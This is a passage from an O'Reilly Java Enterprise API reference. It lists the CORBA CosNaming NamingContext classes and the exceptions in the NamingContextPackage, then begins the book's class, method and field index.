 | public abstract NamingContext bind_new_context (NameComponent[ ] n) throws NotFound, AlreadyBound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
 | public abstract void destroy () throws NotEmpty;
 | public abstract void list (int how_many, BindingListHolder bl, BindingIteratorHolder bi);
 | public abstract NamingContext new_context ();
 | public abstract void rebind (NameComponent[ ] n, org.omg.CORBA.Object obj) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
 | public abstract void rebind_context (NameComponent[ ] n, NamingContext nc) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
 | public abstract org.omg.CORBA.Object resolve (NameComponent[ ] n) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
 | public abstract void unbind (NameComponent[ ] n) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
}

Hierarchy: (NamingContext(org.omg.CORBA.Object,org.omg.CORBA.portable.IDLEntity(Serializable)))

Implementations: _NamingContextImplBase, _NamingContextStub

Passed To: _NamingContextImplBase.{bind_context(), rebind_context()}, _NamingContextStub.{bind_context(), rebind_context()}, NamingContext.{bind_context(), rebind_context()}, NamingContextHelper.{insert(), write()}, NamingContextHolder.NamingContextHolder(), CannotProceed.CannotProceed()

Returned By: _NamingContextImplBase.{bind_new_context(), new_context()}, _NamingContextStub.{bind_new_context(), new_context()}, NamingContext.{bind_new_context(), new_context()}, NamingContextHelper.{extract(), narrow(), read()}

Type Of: NamingContextHolder.value, CannotProceed.cxt

NamingContextHelper Java 1.2
org.omg.CosNaming

The helper class for the NamingContext interface.

public class NamingContextHelper {
// | No Constructor
// | Public Class Methods
 | public static NamingContext extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, NamingContext that); |
 | public static NamingContext narrow (org.omg.CORBA.Object that) throws org.omg.CORBA.BAD_PARAM; |
 | public static NamingContext read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, NamingContext that); |
}
NamingContextHolder Java 1.2
org.omg.CosNaming

The holder class for out and inout IDL method arguments that are mapped to Java NamingContext objects.

public final class NamingContextHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public NamingContextHolder ();
 | public NamingContextHolder (NamingContext __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public NamingContext value ;
}

Hierarchy: Object-->NamingContextHolder(org.omg.CORBA.portable.Streamable)

Previous | Home | Next
34.1. The org.omg.CORBA.TypeCodePackage Package | Book Index | 36. The org.omg.CosNaming. NamingContextPackage Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The org.omg.CosNaming.NamingContextPackage Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 36. The org.omg.CosNaming. NamingContextPackage Package

The org.omg.CosNaming.NamingContextPackage package defines the exceptions thrown by various methods on the org.omg.CORBA.CosNaming.NamingContext interface. This package consists of these exceptions, along with their helper and holder interfaces. Figure 36-1 shows the class hierarchy for the package.

Figure 36-1. The org.omg.CosNaming.NamingContextPackage package

AlreadyBound | Java 1.2
org.omg.CosNaming.NamingContextPackage | serializable checked

An exception thrown by the bind(), bind_context(), and bind_new_context() methods on NamingContext when you attempt to bind an object to a name that already has an object bound to it.

public final class AlreadyBound extends org.omg.CORBA.UserExceptionimplements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public AlreadyBound ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->org.omg.CORBA.UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->AlreadyBound(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: AlreadyBoundHelper.{insert(), write()}, AlreadyBoundHolder.AlreadyBoundHolder()

Returned By: AlreadyBoundHelper.{extract(), read()}

Thrown By: _NamingContextImplBase.{bind(), bind_context(), bind_new_context()}, _NamingContextStub.{bind(), bind_context(), bind_new_context()}, NamingContext.{bind(), bind_context(), bind_new_context()}

Type Of: AlreadyBoundHolder.value

AlreadyBoundHelper Java 1.2
org.omg.CosNaming.NamingContextPackage

The helper class for the AlreadyBound exception.

public class AlreadyBoundHelper {
// | No Constructor
// | Public Class Methods
 | public static AlreadyBound extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, AlreadyBound that); |
 | public static AlreadyBound read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, AlreadyBound that); |
}
AlreadyBoundHolder Java 1.2
org.omg.CosNaming.NamingContextPackage

The holder class for out and inout IDL method arguments that are mapped to Java AlreadyBound exceptions.

public final class AlreadyBoundHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public AlreadyBoundHolder ();
 | public AlreadyBoundHolder (AlreadyBound __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public AlreadyBound value ;
}

Hierarchy: Object-->AlreadyBoundHolder(org.omg.CORBA.portable.Streamable)

CannotProceed | Java 1.2
org.omg.CosNaming.NamingContextPackage | serializable checked

An exception thrown by any of the bind or rebind methods on the NamingContext interface, when the NamingContext has given up trying to bind the object to the name specified, for some reason not covered by the other exceptions thrown by these methods. The CannotProceed exception contains a NamingContext that is the last context it attempted to traverse, and a NameComponent array, which is the remainder of the name specified in the method call, relative to the context.

public final class CannotProceed extends org.omg.CORBA.UserExceptionimplements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public CannotProceed ();
 | public CannotProceed (NamingContext __cxt, NameComponent[ ] __rest_of_name);
// | Public Instance Fields
 | public NamingContext cxt ;
 | public NameComponent[ ] rest_of_name ;
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->org.omg.CORBA.UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->CannotProceed(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: CannotProceedHelper.{insert(), write()}, CannotProceedHolder.CannotProceedHolder()

Returned By: CannotProceedHelper.{extract(), read()}

Thrown By: _NamingContextImplBase.{bind(), bind_context(), bind_new_context(), rebind(), rebind_context(), resolve(), unbind()}, _NamingContextStub.{bind(), bind_context(), bind_new_context(), rebind(), rebind_context(), resolve(), unbind()}, NamingContext.{bind(), bind_context(), bind_new_context(), rebind(), rebind_context(), resolve(), unbind()}

Type Of: CannotProceedHolder.value

CannotProceedHelper Java 1.2
org.omg.CosNaming.NamingContextPackage

The helper class for the CannotProceed exception.

public class CannotProceedHelper {
// | No Constructor
// | Public Class Methods
 | public static CannotProceed extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, CannotProceed that); |
 | public static CannotProceed read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, CannotProceed that); |
}
CannotProceedHolder Java 1.2
org.omg.CosNaming.NamingContextPackage

The holder class for out and inout IDL method arguments that are mapped to Java CannotProceed exceptions.

public final class CannotProceedHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public CannotProceedHolder ();
 | public CannotProceedHolder (CannotProceed __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public CannotProceed value ;
}

Hierarchy: Object-->CannotProceedHolder(org.omg.CORBA.portable.Streamable)

InvalidName | Java 1.2
org.omg.CosNaming.NamingContextPackage | serializable checked

An exception thrown by any of the NamingContext methods for binding, resolving, or unbinding objects, when the specified name is invalid (e.g., it contains invalid characters).

public final class InvalidName extends org.omg.CORBA.UserExceptionimplements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public InvalidName ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->org.omg.CORBA.UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->org.omg.CosNaming.NamingContextPackage.InvalidName(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: InvalidNameHelper.{insert(), write()}, InvalidNameHolder.InvalidNameHolder()

Returned By: InvalidNameHelper.{extract(), read()}

Thrown By: _NamingContextImplBase.{bind(), bind_context(), bind_new_context(), rebind(), rebind_context(), resolve(), unbind()}, _NamingContextStub.{bind(), bind_context(), bind_new_context(), rebind(), rebind_context(), resolve(), unbind()}, NamingContext.{bind(), bind_context(), bind_new_context(), rebind(), rebind_context(), resolve(), unbind()}

Type Of: InvalidNameHolder.value

InvalidNameHelper Java 1.2
org.omg.CosNaming.NamingContextPackage

The helper class for the InvalidName exception.

public class InvalidNameHelper {
// | No Constructor
// | Public Class Methods
 | public static org.omg.CosNaming.NamingContextPackage.InvalidName extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, org.omg.CosNaming.NamingContextPackage.InvalidName that); |
 | public static org.omg.CosNaming.NamingContextPackage.InvalidName read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, org.omg.CosNaming.NamingContextPackage.InvalidName that); |
}
InvalidNameHolder Java 1.2
org.omg.CosNaming.NamingContextPackage

The holder class for out and inout IDL method arguments that are mapped to Java InvalidName exceptions.

public final class InvalidNameHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public InvalidNameHolder ();
 | public InvalidNameHolder (org.omg.CosNaming.NamingContextPackage.InvalidName __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public org.omg.CosNaming.NamingContextPackage.InvalidName value ;
}

Hierarchy: Object-->InvalidNameHolder(org.omg.CORBA.portable.Streamable)

NotEmpty | Java 1.2
org.omg.CosNaming.NamingContextPackage | serializable checked

An exception thrown by the NamingContext.destroy() method, if you attempt to destroy a NamingContext that still has bindings within it.

public final class NotEmpty extends org.omg.CORBA.UserExceptionimplements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public NotEmpty ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->org.omg.CORBA.UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->NotEmpty(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: NotEmptyHelper.{insert(), write()}, NotEmptyHolder.NotEmptyHolder()

Returned By: NotEmptyHelper.{extract(), read()}

Thrown By: _NamingContextImplBase.destroy(), _NamingContextStub.destroy(), NamingContext.destroy()

Type Of: NotEmptyHolder.value

NotEmptyHelper Java 1.2
org.omg.CosNaming.NamingContextPackage

The helper class for the NotEmpty exception.

public class NotEmptyHelper {
// | No Constructor
// | Public Class Methods
 | public static NotEmpty extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, NotEmpty that); |
 | public static NotEmpty read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, NotEmpty that); |
}
NotEmptyHolder Java 1.2
org.omg.CosNaming.NamingContextPackage

The holder class for out and inout IDL method arguments that are mapped to Java NotEmpty exceptions.

public final class NotEmptyHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public NotEmptyHolder ();
 | public NotEmptyHolder (NotEmpty __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public NotEmpty value ;
}

Hierarchy: Object-->NotEmptyHolder(org.omg.CORBA.portable.Streamable)

NotFound | Java 1.2
org.omg.CosNaming.NamingContextPackage | serializable checked

An exception thrown by any of the NamingContext methods for binding, resolving, or unbinding object names, when a specified name is not found as a binding within the NamingContext. The NotFound exception contains a NameComponent array, which represents the remainder of the name after the first component mismatch was found, and a NotFoundReason object, that contains an int value that indicates whether the operation failed because one of the components in the name was not found, one of the intermediate components was bound to a regular object instead of a context, or the final component was not bound to an object.

public final class NotFound extends org.omg.CORBA.UserExceptionimplements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public NotFound ();
 | public NotFound (NotFoundReason __why, NameComponent[ ] __rest_of_name);
// | Public Instance Fields
 | public NameComponent[ ] rest_of_name ;
 | public NotFoundReason why ;
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->org.omg.CORBA.UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->NotFound(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: NotFoundHelper.{insert(), write()}, NotFoundHolder.NotFoundHolder()

Returned By: NotFoundHelper.{extract(), read()}

Thrown By: _NamingContextImplBase.{bind(), bind_context(), bind_new_context(), rebind(), rebind_context(), resolve(), unbind()}, _NamingContextStub.{bind(), bind_context(), bind_new_context(), rebind(), rebind_context(), resolve(), unbind()}, NamingContext.{bind(), bind_context(), bind_new_context(), rebind(), rebind_context(), resolve(), unbind()}

Type Of: NotFoundHolder.value

NotFoundHelper Java 1.2
org.omg.CosNaming.NamingContextPackage

The helper class for the NotFound exception.

public class NotFoundHelper {
// | No Constructor
// | Public Class Methods
 | public static NotFound extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, NotFound that); |
 | public static NotFound read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, NotFound that); |
}
NotFoundHolder Java 1.2
org.omg.CosNaming.NamingContextPackage

The holder class for out and inout IDL method arguments that are mapped to Java NotFound exceptions.

public final class NotFoundHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public NotFoundHolder ();
 | public NotFoundHolder (NotFound __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public NotFound value ;
}

Hierarchy: Object-->NotFoundHolder(org.omg.CORBA.portable.Streamable)

NotFoundReason | Java 1.2
org.omg.CosNaming.NamingContextPackage | serializable

NotFoundReason objects are used in NotFound exceptions to indicate the reason an object binding was not found in a NamingContext. It has a value() method that returns an int which can then be compared to its three static int members to determine the reason for the failure. A value of _missing_node indicates that an intermediate component of the name specified was not found in the context, _not_context indicates that an intermediate component name was not bound to a NamingContext, and _not_object indicates that an object was not bound to the final component in the name.

public final class NotFoundReason implements org.omg.CORBA.portable.IDLEntity {
// | No Constructor
// | Public Constants
 | public static final int _missing_node ; | =0
 | public static final int _not_context ; | =1
 | public static final int _not_object ; | =2
 | public static final NotFoundReason missing_node ; |
 | public static final NotFoundReason not_context ; |
 | public static final NotFoundReason not_object ; |
// | Public Class Methods
 | public static final NotFoundReason from_int (int i) throws org.omg.CORBA.BAD_PARAM; |
// | Public Instance Methods
 | public int value (); |
}

Hierarchy: Object-->NotFoundReason(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: NotFound.NotFound(), NotFoundReasonHelper.{insert(), write()}, NotFoundReasonHolder.NotFoundReasonHolder()

Returned By: NotFoundReason.from_int(), NotFoundReasonHelper.{extract(), read()}

Type Of: NotFound.why, NotFoundReason.{missing_node, not_context, not_object}, NotFoundReasonHolder.value

NotFoundReasonHelper Java 1.2
org.omg.CosNaming.NamingContextPackage

The helper class for the NotFoundReason class.

public class NotFoundReasonHelper {
// | No Constructor
// | Public Class Methods
 | public static NotFoundReason extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, NotFoundReason that); |
 | public static NotFoundReason read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, NotFoundReason that); |
}
NotFoundReasonHolder Java 1.2
org.omg.CosNaming.NamingContextPackage

The holder class for out and inout IDL method arguments that are mapped to Java NotFoundReason objects.

public final class NotFoundReasonHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public NotFoundReasonHolder ();
 | public NotFoundReasonHolder (NotFoundReason __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public NotFoundReason value ;
}

Hierarchy: Object-->NotFoundReasonHolder(org.omg.CORBA.portable.Streamable)

Previous | Home | Next
35.1. The org.omg.CosNaming Package | Book Index | 37. Class, Method, and Field Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Class, Method, and Field Index (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 37. Class, Method, and Field Index

The following index allows you to look up a class or interface and find out what package it is defined in. It also allows you to look up a method or field and find out what class it is defined in. Use it when you want to look up a class but don't know its package or when you want to look up a method but don't know its class.

_ADD_OVERRIDE: SetOverrideType

_BindingIteratorImplBase: org.omg.CosNaming

_BindingIteratorStub: org.omg.CosNaming

_COMPLETED_MAYBE: CompletionStatus

_COMPLETED_NO: CompletionStatus

_COMPLETED_YES: CompletionStatus

_create_request(): Object, ObjectImpl

_dk_Alias: DefinitionKind

_dk_all: DefinitionKind

_dk_Array: DefinitionKind

_dk_Attribute: DefinitionKind

_dk_Constant: DefinitionKind

_dk_Enum: DefinitionKind

_dk_Exception: DefinitionKind

_dk_Fixed: DefinitionKind

_dk_Interface: DefinitionKind

_dk_Module: DefinitionKind

_dk_Native: DefinitionKind

_dk_none: DefinitionKind

_dk_Operation: DefinitionKind

_dk_Primitive: DefinitionKind

_dk_Repository: DefinitionKind

_dk_Sequence: DefinitionKind

_dk_String: DefinitionKind

_dk_Struct: DefinitionKind

_dk_Typedef: DefinitionKind

_dk_Union: DefinitionKind

_dk_Value: DefinitionKind

_dk_ValueBox: DefinitionKind

_dk_ValueMember: DefinitionKind

_dk_Wstring: DefinitionKind

_duplicate(): Object, ObjectImpl

_get_delegate(): ObjectImpl

_get_domain_managers(): Object, ObjectImpl

_get_interface_def(): Object, ObjectImpl

_get_policy(): Object, ObjectImpl

_hash(): Object, ObjectImpl

_ids(): _BindingIteratorImplBase, _BindingIteratorStub, _NamingContextImplBase, _NamingContextStub, ObjectImpl

_invoke(): InvokeHandler, ObjectImpl

_is_a(): Object, ObjectImpl

_is_equivalent(): Object, ObjectImpl

_is_local(): ObjectImpl

_missing_node: NotFoundReason

_NamingContextImplBase: org.omg.CosNaming

_NamingContextStub: org.omg.CosNaming

_ncontext: BindingType

_nobject: BindingType

_non_existent(): Object, ObjectImpl

_not_context: NotFoundReason

_not_object: NotFoundReason

_orb(): ObjectImpl

_read(): AlreadyBoundHolder, AnyHolder, BindingHolder, BindingIteratorHolder, BindingListHolder, BindingTypeHolder, BooleanHolder, ByteHolder, CannotProceedHolder, CharHolder, DoubleHolder, FixedHolder, FloatHolder, IntHolder, InvalidNameHolder, LongHolder, NameComponentHolder, NameHolder, NamingContextHolder, NotEmptyHolder, NotFoundHolder, NotFoundReasonHolder, ObjectHolder, PrincipalHolder, ServiceInformationHolder, ShortHolder, Streamable, StringHolder, TypeCodeHolder

_release(): Object, ObjectImpl

_releaseReply(): ObjectImpl

_request(): Object, ObjectImpl

_servant_postinvoke(): ObjectImpl

_servant_preinvoke(): ObjectImpl

_set_delegate(): ObjectImpl

_SET_OVERRIDE: SetOverrideType

_set_policy_override(): Object, ObjectImpl

_tk_abstract_interface: TCKind

_tk_alias: TCKind

_tk_any: TCKind

_tk_array: TCKind

_tk_boolean: TCKind

_tk_char: TCKind

_tk_double: TCKind

_tk_enum: TCKind

_tk_except: TCKind

_tk_fixed: TCKind

_tk_float: TCKind

_tk_long: TCKind

_tk_longdouble: TCKind

_tk_longlong: TCKind

_tk_native: TCKind

_tk_null: TCKind

_tk_objref: TCKind

_tk_octet: TCKind

_tk_Principal: TCKind

_tk_sequence: TCKind

_tk_short: TCKind

_tk_string: TCKind

_tk_struct: TCKind

_tk_TypeCode: TCKind

_tk_ulong: TCKind

_tk_ulonglong: TCKind

_tk_union: TCKind

_tk_ushort: TCKind

_tk_value: TCKind

_tk_value_box: TCKind

_tk_void: TCKind

_tk_wchar: TCKind

_tk_wstring: TCKind

_type(): AlreadyBoundHolder, AnyHolder, BindingHolder, BindingIteratorHolder, BindingListHolder, BindingTypeHolder, BooleanHolder, ByteHolder, CannotProceedHolder, CharHolder, DoubleHolder, FixedHolder, FloatHolder, IntHolder, InvalidNameHolder, LongHolder, NameComponentHolder, NameHolder, NamingContextHolder, NotEmptyHolder, NotFoundHolder, NotFoundReasonHolder, ObjectHolder, PrincipalHolder, ServiceInformationHolder, ShortHolder, Streamable, StringHolder, TypeCodeHolder

_write(): AlreadyBoundHolder, AnyHolder, BindingHolder, BindingIteratorHolder, BindingListHolder, BindingTypeHolder, BooleanHolder, ByteHolder, CannotProceedHolder, CharHolder, DoubleHolder, FixedHolder, FloatHolder, IntHolder, InvalidNameHolder, LongHolder, NameComponentHolder, NameHolder, NamingContextHolder, NotEmptyHolder, NotFoundHolder, NotFoundReasonHolder, ObjectHolder, PrincipalHolder, ServiceInformationHolder, ShortHolder, Streamable, StringHolder, TypeCodeHolder

absolute(): ResultSet

acceptsURL(): Driver

access: ValueMember

AccessControlEntry: javax.ejb.deployment

AccessException: java.rmi

acknowledge(): Message

Activatable: java.rmi.activation

activate(): ActivationID, Activator

ActivateFailedException: java.rmi.activation

ActivationDesc: java.rmi.activation

ActivationException: java.rmi.activation

ActivationGroup: java.rmi.activation

ActivationGroup_Stub: java.rmi.activation

ActivationGroupDesc: java.rmi.activation

ActivationGroupDesc.CommandEnvironment: java.rmi.activation

ActivationGroupID: java.rmi.activation

ActivationID: java.rmi.activation

ActivationInstantiator: java.rmi.activation

ActivationMonitor: java.rmi.activation

ActivationSystem: java.rmi.activation

Activator: java.rmi.activation

ACTIVATOR_ID: ObjID

activeGroup(): ActivationSystem

activeObject(): ActivationGroup, ActivationMonitor

add(): Attribute, BasicAttribute, CompositeName, CompoundName, ContextList, ExceptionList, Name, NVList, Reference

ADD_ATTRIBUTE: DirContext

add_in_arg(): Request

add_inout_arg(): Request

add_item(): NVList

add_named_in_arg(): Request

add_named_inout_arg(): Request

add_named_out_arg(): Request

add_out_arg(): Request

ADD_OVERRIDE: SetOverrideType

add_value(): NVList

addAll(): CompositeName, CompoundName, Name

addBatch(): PreparedStatement, Statement

addConnectionEventListener(): PooledConnection

addCookie(): HttpServletResponse

addRowSetListener(): RowSet

addrs: Reference

addrType: RefAddr

addToEnvironment(): Context, InitialContext

after(): Timestamp

afterBegin(): SessionSynchronization

afterCompletion(): SessionSynchronization, Synchronization

afterLast(): ResultSet

allProceduresAreCallable(): DatabaseMetaData

allTablesAreSelectable(): DatabaseMetaData

AlreadyBound: org.omg.CosNaming.NamingContextPackage

AlreadyBoundException: java.rmi

AlreadyBoundHelper: org.omg.CosNaming.NamingContextPackage

AlreadyBoundHolder: org.omg.CosNaming.NamingContextPackage

altName: CannotProceedException

altNameCtx: CannotProceedException

Any: org.omg.CORBA

AnyHolder: org.omg.CORBA

appendRemainingComponent(): NamingException, ResolveResult

appendRemainingName(): NamingException, ResolveResult

ApplicationException: org.omg.CORBA.portable

ARG_IN: org.omg.CORBA

ARG_INOUT: org.omg.CORBA

ARG_OUT: org.omg.CORBA

arguments(): Request, ServerRequest

ARRAY: Types

Array: java.sql

assign(): DynAny

Attribute: javax.naming.directory

AttributeInUseException: javax.naming.directory

AttributeModificationException: javax.naming.directory

Attributes: javax.naming.directory

attrID: BasicAttribute

AuthenticationException: javax.naming

AuthenticationNotSupportedException: javax.naming

AUTHORITATIVE: Context

AUTO_ACKNOWLEDGE: Session

BAD_CONTEXT: org.omg.CORBA

BAD_INV_ORDER: org.omg.CORBA

BAD_OPERATION: org.omg.CORBA

BAD_PARAM: org.omg.CORBA

BAD_POLICY: org.omg.CORBA

BAD_POLICY_TYPE: org.omg.CORBA

BAD_POLICY_VALUE: org.omg.CORBA

BAD_TYPECODE: org.omg.CORBA

BadKind: org.omg.CORBA.TypeCodePackage

BasicAttribute: javax.naming.directory

BasicAttributes: javax.naming.directory

BATCHSIZE: Context

BatchUpdateException: java.sql

before(): Timestamp

beforeCompletion(): SessionSynchronization, Synchronization

beforeFirst(): ResultSet

begin(): TransactionManager, UserTransaction

bestRowNotPseudo: DatabaseMetaData

bestRowPseudo: DatabaseMetaData

bestRowSession: DatabaseMetaData

bestRowTemporary: DatabaseMetaData

bestRowTransaction: DatabaseMetaData

bestRowUnknown: DatabaseMetaData

BIGINT: Types

BINARY: Types

BinaryRefAddr: javax.naming

bind(): _NamingContextImplBase, _NamingContextStub, Context, DirContext, InitialContext, InitialDirContext, Naming, NamingContext, Registry

bind_context(): _NamingContextImplBase, _NamingContextStub, NamingContext

bind_new_context(): _NamingContextImplBase, _NamingContextStub, NamingContext

Binding: javax.naming, org.omg.CosNaming

binding_name: Binding

binding_type: Binding

BindingHelper: org.omg.CosNaming

BindingHolder: org.omg.CosNaming

BindingIterator: org.omg.CosNaming

BindingIteratorHelper: org.omg.CosNaming

BindingIteratorHolder: org.omg.CosNaming

BindingListHelper: org.omg.CosNaming

BindingListHolder: org.omg.CosNaming

BindingType: org.omg.CosNaming

BindingTypeHelper: org.omg.CosNaming

BindingTypeHolder: org.omg.CosNaming

BIT: Types

Blob: java.sql

BLOB: Types

BooleanHolder: org.omg.CORBA

Bounds: org.omg.CORBA, org.omg.CORBA.TypeCodePackage

BRIEF: LogStream

ByteHolder: org.omg.CORBA

BytesMessage: javax.jms

CallableStatement: java.sql

cancel(): Statement

cancelRowUpdates(): ResultSet

CannotProceed: org.omg.CosNaming.NamingContextPackage

CannotProceedException: javax.naming

CannotProceedHelper: org.omg.CosNaming.NamingContextPackage

CannotProceedHolder: org.omg.CosNaming.NamingContextPackage

CHAR: Types

CharHolder: org.omg.CORBA

choices: DriverPropertyInfo

classFactory: Reference

classFactoryLocation: Reference

className: Reference

clean(): DGC

clear(): Attribute, BasicAttribute, Environment, Reference

clearBatch(): Statement

clearBody(): Message

clearParameters(): PreparedStatement, RowSet

clearProperties(): Message

clearWarnings(): Connection, ResultSet, Statement

CLIENT_ACKNOWLEDGE: Session

CLIENT_IDENTITY: ControlDescriptor

Clob: java.sql

CLOB: Types

clone(): Attribute, Attributes, BasicAttribute, BasicAttributes, CompositeName, CompoundName, Cookie, Name, Reference, UnicastRemoteObject

close(): Connection, ConnectionConsumer, Context, InitialContext, MessageConsumer, MessageProducer, PooledConnection, QueueBrowser, QueueRequestor, ResultSet, Session, Statement, TopicRequestor

columnNoNulls: DatabaseMetaData, ResultSetMetaData

columnNullable: DatabaseMetaData, ResultSetMetaData

columnNullableUnknown: DatabaseMetaData, ResultSetMetaData

COMM_FAILURE: org.omg.CORBA

CommandEnvironment: java.rmi.activation.ActivationGroupDesc

commit(): Connection, Session, Transaction, TransactionManager, UserTransaction, XAResource

CommunicationException: javax.naming

compareTo(): CompositeName, CompoundName, Name

completed: SystemException

COMPLETED_MAYBE: CompletionStatus

COMPLETED_NO: CompletionStatus

COMPLETED_YES: CompletionStatus

CompletionStatus: org.omg.CORBA

composeName(): Context, InitialContext

CompositeName: javax.naming

CompoundName: javax.naming

concrete_base_type(): TypeCode

CONCUR_READ_ONLY: ResultSet

CONCUR_UPDATABLE: ResultSet

ConfigurationException: javax.naming

connect(): Driver, ORB

ConnectException: java.rmi

ConnectIOException: java.rmi

Connection: java.sql, javax.jms

connectionClosed(): ConnectionEventListener

ConnectionConsumer: javax.jms

connectionErrorOccurred(): ConnectionEventListener

ConnectionEvent: javax.sql

ConnectionEventListener: javax.sql

ConnectionFactory: javax.jms

ConnectionMetaData: javax.jms

ConnectionPoolDataSource: javax.sql

contains(): Attribute, BasicAttribute

containsHeader(): HttpServletResponse

content_type(): TypeCode

Context: javax.naming, org.omg.CORBA

context_name(): Context

ContextList: org.omg.CORBA

ContextNotEmptyException: javax.naming

contexts(): Request

ControlDescriptor: javax.ejb.deployment

Cookie: javax.servlet.http

copy(): DynAny, Policy

count(): ContextList, ExceptionList, NVList

create_abstract_interface_tc(): ORB

create_alias_tc(): ORB

create_any(): ORB

create_array_tc(): ORB

create_basic_dyn_any(): ORB

create_child(): Context

create_context_list(): ORB

create_dyn_any(): ORB

create_dyn_array(): ORB

create_dyn_enum(): ORB

create_dyn_sequence(): ORB

create_dyn_struct(): ORB

create_dyn_union(): ORB

create_enum_tc(): ORB

create_environment(): ORB

create_exception_list(): ORB

create_exception_tc(): ORB

create_fixed_tc(): ORB

create_input_stream(): Any, OutputStream

create_interface_tc(): ORB

create_list(): ORB

create_named_value(): ORB

create_native_tc(): ORB

create_operation_list(): ORB

create_output_stream(): Any, ORB

create_policy(): ORB

create_recursive_sequence_tc(): ORB

create_recursive_tc(): ORB

create_request(): Delegate

create_sequence_tc(): ORB

create_string_tc(): ORB

create_struct_tc(): ORB

create_union_tc(): ORB

create_value_box_tc(): ORB

create_value_tc(): ORB

create_wstring_tc(): ORB

createBrowser(): QueueSession

createBytesMessage(): Session

